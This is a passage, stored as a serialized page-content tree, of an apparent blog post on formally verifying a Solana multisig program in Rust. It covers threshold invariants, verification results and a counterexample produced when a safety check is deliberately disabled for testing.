style":256},[26793],{"type":29,"value":16022},{"type":23,"tag":230,"props":26795,"children":26796},{"style":294},[26797],{"type":29,"value":9448},{"type":23,"tag":230,"props":26799,"children":26800},{"style":274},[26801],{"type":29,"value":302},{"type":23,"tag":230,"props":26803,"children":26804},{"style":268},[26805],{"type":29,"value":11922},{"type":23,"tag":230,"props":26807,"children":26808},{"style":274},[26809],{"type":29,"value":26295},{"type":23,"tag":230,"props":26811,"children":26812},{"style":268},[26813],{"type":29,"value":11922},{"type":23,"tag":230,"props":26815,"children":26816},{"style":274},[26817],{"type":29,"value":11927},{"type":23,"tag":32,"props":26819,"children":26820},{},[26821],{"type":29,"value":26822},"And now we get:",{"type":23,"tag":220,"props":26824,"children":26826},{"code":26825},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[26827],{"type":23,"tag":71,"props":26828,"children":26829},{"__ignoreMap":7},[26830],{"type":29,"value":26825},{"type":23,"tag":32,"props":26832,"children":26833},{},[26834],{"type":29,"value":26835},"🥳🥳🥳",{"type":23,"tag":32,"props":26837,"children":26838},{},[26839],{"type":29,"value":26840},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":220,"props":26842,"children":26844},{"code":26843,"language":5319,"meta":7,"className":5320,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[26845],{"type":23,"tag":71,"props":26846,"children":26847},{"__ignoreMap":7},[26848,26871,26902],{"type":23,"tag":230,"props":26849,"children":26850},{"class":232,"line":233},[26851,26855,26859,26863,26867],{"type":23,"tag":230,"props":26852,"children":26853},{"style":866},[26854],{"type":29,"value":17904},{"type":23,"tag":230,"props":26856,"children":26857},{"style":262},[26858],{"type":29,"value":25778},{"type":23,"tag":230,"props":26860,"children":26861},{"style":268},[26862],{"type":29,"value":11055},{"type":23,"tag":230,"props":26864,"children":26865},{"style":5149},[26866],{"type":29,"value":6861},{"type":23,"tag":230,"props":26868,"children":26869},{"style":274},[26870],{"type":29,"value":277},{"type":23,"tag":230,"props":26872,"children":26873},{"class":232,"line":243},[26874,26878,26882,26886,26890,26894,26898],{"type":23,"tag":230,"props":26875,"children":26876},{"style":866},[26877],{"type":29,"value":4427},{"type":23,"tag":230,"props":26879,"children":26880},{"style":294},[26881],{"type":29,"value":25833},{"type":23,"tag":230,"props":26883,"children":26884},{"style":274},[26885],{"type":29,"value":302},{"type":23,"tag":230,"props":26887,"children":26888},{"style":676},[26889],{"type":29,"value":25842},{"type":23,"tag":230,"props":26891,"children":26892},{"style":268},[26893],{"type":29,"value":5818},{"type":23,"tag":230,"props":26895,"children":26896},{"style":676},[26897],{"type":29,"value":25851},{"type":23,"tag":230,"props":26899,"children":26900},{"style":274},[26901],{"type":29,"value":753},{"type":23,"tag":230,"props":26903,"children":26904},{"class":232,"line":252},[26905],{"type":23,"tag":230,"props":26906,"children":26907},{"style":274},[26908],{"type":29,"value":975},{"type":23,"tag":32,"props":26910,"children":26911},{},[26912,26914,26920,26922,26927,26929,26934,26936,26941],{"type":29,"value":26913},"In this case this is actually redundant because if ",{"type":23,"tag":71,"props":26915,"children":26917},{"className":26916},[],[26918],{"type":29,"value":26919},"members.len() == 0",{"type":29,"value":26921}," then our threshold would also have to be ",{"type":23,"tag":71,"props":26923,"children":26925},{"className":26924},[],[26926],{"type":29,"value":6358},{"type":29,"value":26928}," (and our ",{"type":23,"tag":71,"props":26930,"children":26932},{"className":26931},[],[26933],{"type":29,"value":25064},{"type":29,"value":26935}," is not allowed to be ",{"type":23,"tag":71,"props":26937,"children":26939},{"className":26938},[],[26940],{"type":29,"value":6358},{"type":29,"value":26942},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":59,"props":26944,"children":26946},{"id":26945},"_2-verify-threshold-requirements",[26947],{"type":29,"value":26948},"2. Verify threshold requirements",{"type":23,"tag":32,"props":26950,"children":26951},{},[26952],{"type":29,"value":26953},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":32,"props":26955,"children":26956},{},[26957,26959,26963],{"type":29,"value":26958},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":2258,"props":26960,"children":26961},{},[26962],{"type":29,"value":11632},{"type":29,"value":26964}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":32,"props":26966,"children":26967},{},[26968,26970,26974,26976,26981],{"type":29,"value":26969},"In this case, we want to model this as an ",{"type":23,"tag":2258,"props":26971,"children":26972},{},[26973],{"type":29,"value":24092},{"type":29,"value":26975}," on the ",{"type":23,"tag":71,"props":26977,"children":26979},{"className":26978},[],[26980],{"type":29,"value":25056},{"type":29,"value":26982}," account struct:",{"type":23,"tag":220,"props":26984,"children":26986},{"code":26985,"language":5319,"meta":7,"className":5320,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[26987],{"type":23,"tag":71,"props":26988,"children":26989},{"__ignoreMap":7},[26990,26997,27022,27029,27053,27104,27111,27130,27157,27184,27211,27238,27265,27292,27319,27354],{"type":23,"tag":230,"props":26991,"children":26992},{"class":232,"line":233},[26993],{"type":23,"tag":230,"props":26994,"children":26995},{"style":274},[26996],{"type":29,"value":23085},{"type":23,"tag":230,"props":26998,"children":26999},{"class":232,"line":243},[27000,27004,27009,27013,27018],{"type":23,"tag":230,"props":27001,"children":27002},{"style":274},[27003],{"type":29,"value":25152},{"type":23,"tag":230,"props":27005,"children":27006},{"style":676},[27007],{"type":29,"value":27008},"Clone",{"type":23,"tag":230,"props":27010,"children":27011},{"style":274},[27012],{"type":29,"value":684},{"type":23,"tag":230,"props":27014,"children":27015},{"style":676},[27016],{"type":29,"value":27017},"Debug",{"type":23,"tag":230,"props":27019,"children":27020},{"style":274},[27021],{"type":29,"value":22573},{"type":23,"tag":230,"props":27023,"children":27024},{"class":232,"line":252},[27025],{"type":23,"tag":230,"props":27026,"children":27027},{"style":274},[27028],{"type":29,"value":23093},{"type":23,"tag":230,"props":27030,"children":27031},{"class":232,"line":280},[27032,27037,27041,27045,27049],{"type":23,"tag":230,"props":27033,"children":27034},{"style":274},[27035],{"type":29,"value":27036},"    (self",{"type":23,"tag":230,"props":27038,"children":27039},{"style":268},[27040],{"type":29,"value":312},{"type":23,"tag":230,"props":27042,"children":27043},{"style":274},[27044],{"type":29,"value":23385},{"type":23,"tag":230,"props":27046,"children":27047},{"style":268},[27048],{"type":29,"value":12274},{"type":23,"tag":230,"props":27050,"children":27051},{"style":274},[27052],{"type":29,"value":23394},{"type":23,"tag":230,"props":27054,"children":27055},{"class":232,"line":334},[27056,27060,27064,27068,27072,27076,27080,27084,27088,27092,27096,27100],{"type":23,"tag":230,"props":27057,"children":27058},{"style":268},[27059],{"type":29,"value":17946},{"type":23,"tag":230,"props":27061,"children":27062},{"style":274},[27063],{"type":29,"value":23318},{"type":23,"tag":230,"props":27065,"children":27066},{"style":268},[27067],{"type":29,"value":312},{"type":23,"tag":230,"props":27069,"children":27070},{"style":274},[27071],{"type":29,"value":23385},{"type":23,"tag":230,"props":27073,"children":27074},{"style":256},[27075],{"type":29,"value":4343},{"type":23,"tag":230,"props":27077,"children":27078},{"style":676},[27079],{"type":29,"value":16058},{"type":23,"tag":230,"props":27081,"children":27082},{"style":268},[27083],{"type":29,"value":10532},{"type":23,"tag":230,"props":27085,"children":27086},{"style":274},[27087],{"type":29,"value":16124},{"type":23,"tag":230,"props":27089,"children":27090},{"style":268},[27091],{"type":29,"value":312},{"type":23,"tag":230,"props":27093,"children":27094},{"style":274},[27095],{"type":29,"value":23297},{"type":23,"tag":230,"props":27097,"children":27098},{"style":268},[27099],{"type":29,"value":312},{"type":23,"tag":230,"props":27101,"children":27102},{"style":274},[27103],{"type":29,"value":23446},{"type":23,"tag":230,"props":27105,"children":27106},{"class":232,"line":371},[27107],{"type":23,"tag":230,"props":27108,"children":27109},{"style":274},[27110],{"type":29,"value":22573},{"type":23,"tag":230,"props":27112,"children":27113},{"class":232,"line":391},[27114,27118,27122,27126],{"type":23,"tag":230,"props":27115,"children":27116},{"style":256},[27117],{"type":29,"value":16017},{"type":23,"tag":230,"props":27119,"children":27120},{"style":256},[27121],{"type":29,"value":23465},{"type":23,"tag":230,"props":27123,"children":27124},{"style":676},[27125],{"type":29,"value":23470},{"type":23,"tag":230,"props":27127,"children":27128},{"style":274},[27129],{"type":29,"value":277},{"type":23,"tag":230,"props":27131,"children":27132},{"class":232,"line":400},[27133,27137,27141,27145,27149,27153],{"type":23,"tag":230,"props":27134,"children":27135},{"style":256},[27136],{"type":29,"value":23158},{"type":23,"tag":230,"props":27138,"children":27139},{"style":262},[27140],{"type":29,"value":23486},{"type":23,"tag":230,"props":27142,"children":27143},{"style":268},[27144],{"type":29,"value":218},{"type":23,"tag":230,"props":27146,"children":27147},{"style":676},[27148],{"type":29,"value":23344},{"type":23,"tag":230,"props":27150,"children":27151},{"style":274},[27152],{"type":29,"value":23499},{"type":23,"tag":230,"props":27154,"children":27155},{"style":237},[27156],{"type":29,"value":23504},{"type":23,"tag":230,"props":27158,"children":27159},{"class":232,"line":444},[27160,27164,27168,27172,27176,27180],{"type":23,"tag":230,"props":27161,"children":27162},{"style":256},[27163],{"type":29,"value":23158},{"type":23,"tag":230,"props":27165,"children":27166},{"style":262},[27167],{"type":29,"value":23516},{"type":23,"tag":230,"props":27169,"children":27170},{"style":268},[27171],{"type":29,"value":218},{"type":23,"tag":230,"props":27173,"children":27174},{"style":676},[27175],{"type":29,"value":23344},{"type":23,"tag":230,"props":27177,"children":27178},{"style":274},[27179],{"type":29,"value":23529},{"type":23,"tag":230,"props":27181,"children":27182},{"style":237},[27183],{"type":29,"value":23534},{"type":23,"tag":230,"props":27185,"children":27186},{"class":232,"line":453},[27187,27191,27195,27199,27203,27207],{"type":23,"tag":230,"props":27188,"children":27189},{"style":256},[27190],{"type":29,"value":23158},{"type":23,"tag":230,"props":27192,"children":27193},{"style":262},[27194],{"type":29,"value":23546},{"type":23,"tag":230,"props":27196,"children":27197},{"style":268},[27198],{"type":29,"value":218},{"type":23,"tag":230,"props":27200,"children":27201},{"style":676},[27202],{"type":29,"value":19870},{"type":23,"tag":230,"props":27204,"children":27205},{"style":274},[27206],{"type":29,"value":23559},{"type":23,"tag":230,"props":27208,"children":27209},{"style":237},[27210],{"type":29,"value":23564},{"type":23,"tag":230,"props":27212,"children":27213},{"class":232,"line":462},[27214,27218,27222,27226,27230,27234],{"type":23,"tag":230,"props":27215,"children":27216},{"style":256},[27217],{"type":29,"value":23158},{"type":23,"tag":230,"props":27219,"children":27220},{"style":262},[27221],{"type":29,"value":23576},{"type":23,"tag":230,"props":27223,"children":27224},{"style":268},[27225],{"type":29,"value":218},{"type":23,"tag":230,"props":27227,"children":27228},{"style":676},[27229],{"type":29,"value":19870},{"type":23,"tag":230,"props":27231,"children":27232},{"style":274},[27233],{"type":29,"value":23529},{"type":23,"tag":230,"props":27235,"children":27236},{"style":237},[27237],{"type":29,"value":23593},{"type":23,"tag":230,"props":27239,"children":27240},{"class":232,"line":471},[27241,27245,27249,27253,27257,27261],{"type":23,"tag":230,"props":27242,"children":27243},{"style":256},[27244],{"type":29,"value":23158},{"type":23,"tag":230,"props":27246,"children":27247},{"style":262},[27248],{"type":29,"value":23605},{"type":23,"tag":230,"props":27250,"children":27251},{"style":268},[27252],{"type":29,"value":218},{"type":23,"tag":230,"props":27254,"children":27255},{"style":676},[27256],{"type":29,"value":16961},{"type":23,"tag":230,"props":27258,"children":27259},{"style":274},[27260],{"type":29,"value":23618},{"type":23,"tag":230,"props":27262,"children":27263},{"style":237},[27264],{"type":29,"value":23623},{"type":23,"tag":230,"props":27266,"children":27267},{"class":232,"line":500},[27268,27272,27276,27280,27284,27288],{"type":23,"tag":230,"props":27269,"children":27270},{"style":256},[27271],{"type":29,"value":23158},{"type":23,"tag":230,"props":27273,"children":27274},{"style":262},[27275],{"type":29,"value":23635},{"type":23,"tag":230,"props":27277,"children":27278},{"style":268},[27279],{"type":29,"value":218},{"type":23,"tag":230,"props":27281,"children":27282},{"style":676},[27283],{"type":29,"value":23172},{"type":23,"tag":230,"props":27285,"children":27286},{"style":274},[27287],{"type":29,"value":23648},{"type":23,"tag":230,"props":27289,"children":27290},{"style":237},[27291],{"type":29,"value":23653},{"type":23,"tag":230,"props":27293,"children":27294},{"class":232,"line":514},[27295,27299,27303,27307,27311,27315],{"type":23,"tag":230,"props":27296,"children":27297},{"style":256},[27298],{"type":29,"value":23158},{"type":23,"tag":230,"props":27300,"children":27301},{"style":262},[27302],{"type":29,"value":23665},{"type":23,"tag":230,"props":27304,"children":27305},{"style":268},[27306],{"type":29,"value":218},{"type":23,"tag":230,"props":27308,"children":27309},{"style":676},[27310],{"type":29,"value":14381},{"type":23,"tag":230,"props":27312,"children":27313},{"style":274},[27314],{"type":29,"value":684},{"type":23,"tag":230,"props":27316,"children":27317},{"style":237},[27318],{"type":29,"value":23682},{"type":23,"tag":230,"props":27320,"children":27321},{"class":232,"line":897},[27322,27326,27330,27334,27338,27342,27346,27350],{"type":23,"tag":230,"props":27323,"children":27324},{"style":256},[27325],{"type":29,"value":23158},{"type":23,"tag":230,"props":27327,"children":27328},{"style":262},[27329],{"type":29,"value":23694},{"type":23,"tag":230,"props":27331,"children":27332},{"style":268},[27333],{"type":29,"value":218},{"type":23,"tag":230,"props":27335,"children":27336},{"style":676},[27337],{"type":29,"value":23703},{"type":23,"tag":230,"props":27339,"children":27340},{"style":274},[27341],{"type":29,"value":8143},{"type":23,"tag":230,"props":27343,"children":27344},{"style":676},[27345],{"type":29,"value":23712},{"type":23,"tag":230,"props":27347,"children":27348},{"style":274},[27349],{"type":29,"value":23717},{"type":23,"tag":230,"props":27351,"children":27352},{"style":237},[27353],{"type":29,"value":23722},{"type":23,"tag":230,"props":27355,"children":27356},{"class":232,"line":960},[27357],{"type":23,"tag":230,"props":27358,"children":27359},{"style":274},[27360],{"type":29,"value":975},{"type":23,"tag":32,"props":27362,"children":27363},{},[27364,27366,27371],{"type":29,"value":27365},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":71,"props":27367,"children":27369},{"className":27368},[],[27370],{"type":29,"value":25056},{"type":29,"value":27372}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":32,"props":27374,"children":27375},{},[27376,27378,27383],{"type":29,"value":27377},"Let's try this on the ",{"type":23,"tag":71,"props":27379,"children":27381},{"className":27380},[],[27382],{"type":29,"value":25135},{"type":29,"value":27384}," instruction that we've already seen:",{"type":23,"tag":220,"props":27386,"children":27388},{"code":27387},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[27389],{"type":23,"tag":71,"props":27390,"children":27391},{"__ignoreMap":7},[27392],{"type":29,"value":27387},{"type":23,"tag":32,"props":27394,"children":27395},{},[27396,27398,27403],{"type":29,"value":27397},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":71,"props":27399,"children":27401},{"className":27400},[],[27402],{"type":29,"value":25135},{"type":29,"value":218},{"type":23,"tag":220,"props":27405,"children":27407},{"code":27406,"language":5319,"meta":7,"className":5320,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[27408],{"type":23,"tag":71,"props":27409,"children":27410},{"__ignoreMap":7},[27411,27419,27427],{"type":23,"tag":230,"props":27412,"children":27413},{"class":232,"line":233},[27414],{"type":23,"tag":230,"props":27415,"children":27416},{"style":237},[27417],{"type":29,"value":27418},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":230,"props":27420,"children":27421},{"class":232,"line":243},[27422],{"type":23,"tag":230,"props":27423,"children":27424},{"style":237},[27425],{"type":29,"value":27426},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":230,"props":27428,"children":27429},{"class":232,"line":252},[27430],{"type":23,"tag":230,"props":27431,"children":27432},{"style":237},[27433],{"type":29,"value":27434},"// }\n",{"type":23,"tag":32,"props":27436,"children":27437},{},[27438],{"type":29,"value":27439},"And run again:",{"type":23,"tag":220,"props":27441,"children":27443},{"code":27442},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[27444],{"type":23,"tag":71,"props":27445,"children":27446},{"__ignoreMap":7},[27447],{"type":29,"value":27442},{"type":23,"tag":32,"props":27449,"children":27450},{},[27451],{"type":29,"value":27452},"We get the following counterexample:",{"type":23,"tag":220,"props":27454,"children":27456},{"code":27455,"language":5319,"meta":7,"className":5320,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[27457],{"type":23,"tag":71,"props":27458,"children":27459},{"__ignoreMap":7},[27460,27471,27491,27511,27531,27551,27571,27591,27611,27631,27652,27673,27681,27689,27719],{"type":23,"tag":230,"props":27461,"children":27462},{"class":232,"line":233},[27463,27467],{"type":23,"tag":230,"props":27464,"children":27465},{"style":676},[27466],{"type":29,"value":19467},{"type":23,"tag":230,"props":27468,"children":27469},{"style":274},[27470],{"type":29,"value":277},{"type":23,"tag":230,"props":27472,"children":27473},{"class":232,"line":243},[27474,27479,27483,27487],{"type":23,"tag":230,"props":27475,"children":27476},{"style":262},[27477],{"type":29,"value":27478},"    account",{"type":23,"tag":230,"props":27480,"children":27481},{"style":268},[27482],{"type":29,"value":218},{"type":23,"tag":230,"props":27484,"children":27485},{"style":676},[27486],{"type":29,"value":23470},{"type":23,"tag":230,"props":27488,"children":27489},{"style":274},[27490],{"type":29,"value":277},{"type":23,"tag":230,"props":27492,"children":27493},{"class":232,"line":252},[27494,27498,27502,27507],{"type":23,"tag":230,"props":27495,"children":27496},{"style":262},[27497],{"type":29,"value":26136},{"type":23,"tag":230,"props":27499,"children":27500},{"style":268},[27501],{"type":29,"value":218},{"type":23,"tag":230,"props":27503,"children":27504},{"style":5149},[27505],{"type":29,"value":27506}," 32768",{"type":23,"tag":230,"props":27508,"children":27509},{"style":274},[27510],{"type":29,"value":388},{"type":23,"tag":230,"props":27512,"children":27513},{"class":232,"line":280},[27514,27519,27523,27527],{"type":23,"tag":230,"props":27515,"children":27516},{"style":262},[27517],{"type":29,"value":27518},"        authority_index",{"type":23,"tag":230,"props":27520,"children":27521},{"style":268},[27522],{"type":29,"value":218},{"type":23,"tag":230,"props":27524,"children":27525},{"style":5149},[27526],{"type":29,"value":6861},{"type":23,"tag":230,"props":27528,"children":27529},{"style":274},[27530],{"type":29,"value":388},{"type":23,"tag":230,"props":27532,"children":27533},{"class":232,"line":334},[27534,27539,27543,27547],{"type":23,"tag":230,"props":27535,"children":27536},{"style":262},[27537],{"type":29,"value":27538},"        transaction_index",{"type":23,"tag":230,"props":27540,"children":27541},{"style":268},[27542],{"type":29,"value":218},{"type":23,"tag":230,"props":27544,"children":27545},{"style":5149},[27546],{"type":29,"value":5386},{"type":23,"tag":230,"props":27548,"children":27549},{"style":274},[27550],{"type":29,"value":388},{"type":23,"tag":230,"props":27552,"children":27553},{"class":232,"line":371},[27554,27559,27563,27567],{"type":23,"tag":230,"props":27555,"children":27556},{"style":262},[27557],{"type":29,"value":27558},"        ms_change_index",{"type":23,"tag":230,"props":27560,"children":27561},{"style":268},[27562],{"type":29,"value":218},{"type":23,"tag":230,"props":27564,"children":27565},{"style":5149},[27566],{"type":29,"value":5386},{"type":23,"tag":230,"props":27568,"children":27569},{"style":274},[27570],{"type":29,"value":388},{"type":23,"tag":230,"props":27572,"children":27573},{"class":232,"line":391},[27574,27579,27583,27587],{"type":23,"tag":230,"props":27575,"children":27576},{"style":262},[27577],{"type":29,"value":27578},"        bump",{"type":23,"tag":230,"props":27580,"children":27581},{"style":268},[27582],{"type":29,"value":218},{"type":23,"tag":230,"props":27584,"children":27585},{"style":5149},[27586],{"type":29,"value":5386},{"type":23,"tag":230,"props":27588,"children":27589},{"style":274},[27590],{"type":29,"value":388},{"type":23,"tag":230,"props":27592,"children":27593},{"class":232,"line":400},[27594,27598,27602,27607],{"type":23,"tag":230,"props":27595,"children":27596},{"style":262},[27597],{"type":29,"value":26148},{"type":23,"tag":230,"props":27599,"children":27600},{"style":268},[27601],{"type":29,"value":218},{"type":23,"tag":230,"props":27603,"children":27604},{"style":268},[27605],{"type":29,"value":27606}," ...",{"type":23,"tag":230,"props":27608,"children":27609},{"style":274},[27610],{"type":29,"value":388},{"type":23,"tag":230,"props":27612,"children":27613},{"class":232,"line":444},[27614,27619,27623,27627],{"type":23,"tag":230,"props":27615,"children":27616},{"style":262},[27617],{"type":29,"value":27618},"        allow_external_execute",{"type":23,"tag":230,"props":27620,"children":27621},{"style":268},[27622],{"type":29,"value":218},{"type":23,"tag":230,"props":27624,"children":27625},{"style":256},[27626],{"type":29,"value":11391},{"type":23,"tag":230,"props":27628,"children":27629},{"style":274},[27630],{"type":29,"value":388},{"type":23,"tag":230,"props":27632,"children":27633},{"class":232,"line":453},[27634,27639,27643,27648],{"type":23,"tag":230,"props":27635,"children":27636},{"style":262},[27637],{"type":29,"value":27638},"        keys",{"type":23,"tag":230,"props":27640,"children":27641},{"style":268},[27642],{"type":29,"value":218},{"type":23,"tag":230,"props":27644,"children":27645},{"style":676},[27646],{"type":29,"value":27647}," SparseVec",{"type":23,"tag":230,"props":27649,"children":27650},{"style":274},[27651],{"type":29,"value":277},{"type":23,"tag":230,"props":27653,"children":27654},{"class":232,"line":462},[27655,27660,27664,27669],{"type":23,"tag":230,"props":27656,"children":27657},{"style":262},[27658],{"type":29,"value":27659},"            size",{"type":23,"tag":230,"props":27661,"children":27662},{"style":268},[27663],{"type":29,"value":218},{"type":23,"tag":230,"props":27665,"children":27666},{"style":5149},[27667],{"type":29,"value":27668}," 5112",{"type":23,"tag":230,"props":27670,"children":27671},{"style":274},[27672],{"type":29,"value":388},{"type":23,"tag":230,"props":27674,"children":27675},{"class":232,"line":471},[27676],{"type":23,"tag":230,"props":27677,"children":27678},{"style":274},[27679],{"type":29,"value":27680},"        },\n",{"type":23,"tag":230,"props":27682,"children":27683},{"class":232,"line":500},[27684],{"type":23,"tag":230,"props":27685,"children":27686},{"style":274},[27687],{"type":29,"value":27688},"    },\n",{"type":23,"tag":230,"props":27690,"children":27691},{"class":232,"line":514},[27692,27697,27701,27706,27710,27714],{"type":23,"tag":230,"props":27693,"children":27694},{"style":262},[27695],{"type":29,"value":27696},"    info",{"type":23,"tag":230,"props":27698,"children":27699},{"style":268},[27700],{"type":29,"value":218},{"type":23,"tag":230,"props":27702,"children":27703},{"style":676},[27704],{"type":29,"value":27705}," AccountInfo",{"type":23,"tag":230,"props":27707,"children":27708},{"style":274},[27709],{"type":29,"value":848},{"type":23,"tag":230,"props":27711,"children":27712},{"style":268},[27713],{"type":29,"value":11922},{"type":23,"tag":230,"props":27715,"children":27716},{"style":274},[27717],{"type":29,"value":27718}," },\n",{"type":23,"tag":230,"props":27720,"children":27721},{"class":232,"line":897},[27722],{"type":23,"tag":230,"props":27723,"children":27724},{"style":274},[27725],{"type":29,"value":975},{"type":23,"tag":32,"props":27727,"children":27728},{},[27729,27731,27736,27738,27743],{"type":29,"value":27730},"Here we see that the ",{"type":23,"tag":71,"props":27732,"children":27734},{"className":27733},[],[27735],{"type":29,"value":25064},{"type":29,"value":27737}," of the newly created ",{"type":23,"tag":71,"props":27739,"children":27741},{"className":27740},[],[27742],{"type":29,"value":25056},{"type":29,"value":27744}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":59,"props":27746,"children":27748},{"id":27747},"verify-requirements-to-remove-a-member",[27749],{"type":29,"value":25094},{"type":23,"tag":32,"props":27751,"children":27752},{},[27753,27755,27760,27761,27766,27768,27774],{"type":29,"value":27754},"Now that we've seen both ",{"type":23,"tag":71,"props":27756,"children":27758},{"className":27757},[],[27759],{"type":29,"value":22469},{"type":29,"value":112},{"type":23,"tag":71,"props":27762,"children":27764},{"className":27763},[],[27765],{"type":29,"value":24092},{"type":29,"value":27767}," let's take a look at the ",{"type":23,"tag":71,"props":27769,"children":27771},{"className":27770},[],[27772],{"type":29,"value":27773},"remove_member",{"type":29,"value":27775}," function:",{"type":23,"tag":220,"props":27777,"children":27779},{"code":27778,"language":5319,"meta":7,"className":5320,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[27780],{"type":23,"tag":71,"props":27781,"children":27782},{"__ignoreMap":7},[27783,27806,27834,27849,27894,27901,27913,27929,27941,27967,27975,28004,28011,28043,28050,28057,28131,28139,28199,28231,28238,28289,28296,28304,28397,28486,28540,28547,28592,28637],{"type":23,"tag":230,"props":27784,"children":27785},{"class":232,"line":233},[27786,27790,27794,27798,27802],{"type":23,"tag":230,"props":27787,"children":27788},{"style":274},[27789],{"type":29,"value":25152},{"type":23,"tag":230,"props":27791,"children":27792},{"style":676},[27793],{"type":29,"value":25157},{"type":23,"tag":230,"props":27795,"children":27796},{"style":274},[27797],{"type":29,"value":684},{"type":23,"tag":230,"props":27799,"children":27800},{"style":676},[27801],{"type":29,"value":27017},{"type":23,"tag":230,"props":27803,"children":27804},{"style":274},[27805],{"type":29,"value":22573},{"type":23,"tag":230,"props":27807,"children":27808},{"class":232,"line":243},[27809,27813,27817,27822,27826,27830],{"type":23,"tag":230,"props":27810,"children":27811},{"style":256},[27812],{"type":29,"value":16017},{"type":23,"tag":230,"props":27814,"children":27815},{"style":256},[27816],{"type":29,"value":23465},{"type":23,"tag":230,"props":27818,"children":27819},{"style":676},[27820],{"type":29,"value":27821}," MsAuth",{"type":23,"tag":230,"props":27823,"children":27824},{"style":274},[27825],{"type":29,"value":25237},{"type":23,"tag":230,"props":27827,"children":27828},{"style":676},[27829],{"type":29,"value":25242},{"type":23,"tag":230,"props":27831,"children":27832},{"style":274},[27833],{"type":29,"value":9617},{"type":23,"tag":230,"props":27835,"children":27836},{"class":232,"line":252},[27837,27841,27845],{"type":23,"tag":230,"props":27838,"children":27839},{"style":274},[27840],{"type":29,"value":25444},{"type":23,"tag":230,"props":27842,"children":27843},{"style":256},[27844],{"type":29,"value":6059},{"type":23,"tag":230,"props":27846,"children":27847},{"style":274},[27848],{"type":29,"value":22573},{"type":23,"tag":230,"props":27850,"children":27851},{"class":232,"line":280},[27852,27857,27861,27866,27870,27874,27878,27882,27886,27890],{"type":23,"tag":230,"props":27853,"children":27854},{"style":262},[27855],{"type":29,"value":27856},"    multisig",{"type":23,"tag":230,"props":27858,"children":27859},{"style":268},[27860],{"type":29,"value":218},{"type":23,"tag":230,"props":27862,"children":27863},{"style":676},[27864],{"type":29,"value":27865}," Box",{"type":23,"tag":230,"props":27867,"children":27868},{"style":274},[27869],{"type":29,"value":8143},{"type":23,"tag":230,"props":27871,"children":27872},{"style":676},[27873],{"type":29,"value":19467},{"type":23,"tag":230,"props":27875,"children":27876},{"style":274},[27877],{"type":29,"value":25237},{"type":23,"tag":230,"props":27879,"children":27880},{"style":676},[27881],{"type":29,"value":25242},{"type":23,"tag":230,"props":27883,"children":27884},{"style":274},[27885],{"type":29,"value":684},{"type":23,"tag":230,"props":27887,"children":27888},{"style":676},[27889],{"type":29,"value":25056},{"type":23,"tag":230,"props":27891,"children":27892},{"style":274},[27893],{"type":29,"value":9287},{"type":23,"tag":230,"props":27895,"children":27896},{"class":232,"line":334},[27897],{"type":23,"tag":230,"props":27898,"children":27899},{"style":274},[27900],{"type":29,"value":25254},{"type":23,"tag":230,"props":27902,"children":27903},{"class":232,"line":371},[27904,27909],{"type":23,"tag":230,"props":27905,"children":27906},{"style":256},[27907],{"type":29,"value":27908},"        